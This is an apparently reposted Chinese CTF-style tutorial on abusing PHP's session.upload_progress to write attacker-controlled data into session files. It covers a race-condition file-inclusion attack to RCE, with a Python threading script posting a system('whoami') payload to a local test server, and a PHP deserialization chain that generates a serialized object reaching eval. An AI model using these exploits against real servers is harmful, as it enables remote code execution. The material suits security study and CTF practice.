目录
利用session.upload_progress 进行文件包含利用。
利用session.upload_progress进行反序列化攻击
转载一篇 好文章,写在这里,就当作自己的笔记啦。
利用PHP中的session.upload_progress 功能作为跳板,从而进行文件包含和反序列化。
这个功能在php5.4以上能够利用。
在 php.ini 有以下几个默认选项。
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"
只需要了解前四个配置:
enabled=on 表示 upload_progress 功能开始,意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间)储存在session 中;
cleanup= on 表示当文件上传结束后,php 将会立刻清空文件当中的内容。这选项很重要。
name当他出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
prefix + name 将表示为 session 中的键名 。
------
另外 session配置中还有一个重要选项。
session.user_strict_mode = off 这个选项默认为off , 表示我们对 Cookie 中 sessionid 可控。这一点相关重要。
环境:
php 7.3
win10
- $b=$_GET['file'];
- include "$b";
- ?>
存在一个文件包含漏洞,但是找不到一个可以包含的恶意文件,我们可以利用session.upload_progress将 恶意语句写入 session文件,从而包含session 文件。前提是要知道session 文件的存放位置。
代码里 没有session_start(),如何创建 session文件?
其实,如果 session.auto_start=On,则php 在接收请求的时候会自动初始化session,不需要再执行session_start()。但默认情况下,这个选项是关闭的。
但session还有一个默认选项,session.user_strict_mode(严格会话模式)默认值为0(关闭),此时用户是可以定义自己的 session ID 的。比如,我们在Cookie 中设置 PHPsessid = snowy 那么php将会在服务器创建一个文件:/tmp/sess_snowy . 即使用户没有初始化session,php也会自动初始化session 并产生一个键值,这个键值有 ini.get("session.upload_progress.prefix") + 由我们构造的seesion.upload_progress值组成,最后被写入sess_文件里。
如果默认配置 session.upload_progress.cleanup = on 启用了文件上传后,session 文件内容立刻清空, 该 如何 RCE呢?
此时可以使用条件竞争,在session 文件内容清空前进行包含利用:
脚本:
- #coding=utf-8
-
- import io
- import requests
- import threading
- sessid = 'TGAO'
- data = {"cmd":"system('whoami');"}
- def write(session):
- while True:
- f = io.BytesIO(b'a' * 1024 * 50)
- resp = session.post( 'http://127.0.0.1:5555/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': ''}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
- def read(session):
- while True:
- resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data)
- if 'tgao.txt' in resp.text:
- print(resp.text)
- event.clear()
- else:
- print("[+++++++++++++]retry")
- if __name__=="__main__":
- event=threading.Event()
- with requests.session() as session:
- for i in xrange(1,30):
- threading.Thread(target=write,args=(session,)).start()
-
- for i in xrange(1,30):
- threading.Thread(target=read,args=(session,)).start()
- event.set()
本地测试一下。
直接给我环境跑炸了,,,,
CTF题目
-
- error_reporting(0);
- $file = $_GET["file"];
- $payload = $_GET["payload"];
- if(!isset($file)){
- echo 'Missing parameter'.'
'; - }
- if(preg_match("/flag/",$file)){
- die('hack attacked!!!');
- }
- @include($file);
- if(isset($payload)){
- $url = parse_url($_SERVER['REQUEST_URI']);
- parse_str($url['query'],$query);
- foreach($query as $value){
- if (preg_match("/flag/",$value)) {
- die('stop hacking!');
- exit();
- }
- }
- $payload = unserialize($payload);
- }else{
- echo "Missing parameters";
- }
- ?>
-
-
-
在代码前几行可以看到,场景和前面的示例代码类似,只不过对变量$file
加了过滤,不过没什么影响。
利用思路一样,这里就不再说了,网上也有相应的解法。
1. 存在文件包含漏洞
2. 知道session文件存放路径,可以尝试默认路径
3. 具有读取和写入session文件的权限
- error_reporting(0);
- date_default_timezone_set("Asia/Shanghai");
- ini_set('session.serialize_handler','php');
- session_start();
- class Door{
- public $handle;
-
- function __construct() {
- $this->handle=new TimeNow();
- }
-
- function __destruct() {
- $this->handle->action();
- }
- }
- class TimeNow {
- function action() {
- echo "你的访问时间:"." ".date('Y-m-d H:i:s',time());
- }
- }
- class IP{
- public $ip;
- function __construct() {
- $this->ip = 'echo $_SERVER["REMOTE_ADDR"];';
- }
- function action() {
- eval($this->ip);
- }
- }
- ?>
整个代码没有参数可控的地方,该通过什么方法来进行反序列化利用呢?
这里,利用PHP_SESSION_UPLOAD_PROGRESS 上传文件,其中利用文件名可控,从而构造恶意序列化语句,写入session文件。
另外,与文件包含利用一样,需要竞争
- ini_set('session.serialize_handler', 'php_serialize');
- session_start();
- class Door{
- public $handle;
-
- function __construct() {
- $this->handle = new IP();
- }
-
- function __destruct() {
- $this->handle->action();
- }
- }
- class TimeNow {
- function action() {
- echo "你的访问时间:"." ".date('Y-m-d H:i:s',time());
- }
- }
-
- class IP{
- public $ip;
- function __construct() {
- //$this->ip='payload';
- $this->ip='phpinfo();';
- //$this->ip='print_r(scandir('/'));';
- }
- function action() {
- eval($this->ip);
- }
- }
- $a=new Door();
- $b=serialize($a);
- $c=addslashes($b);
- $d=str_replace("O:4:","|O:4:",$c);
- echo $d;
- ?>
这里 不细说了 想要了解的 看下这篇文章: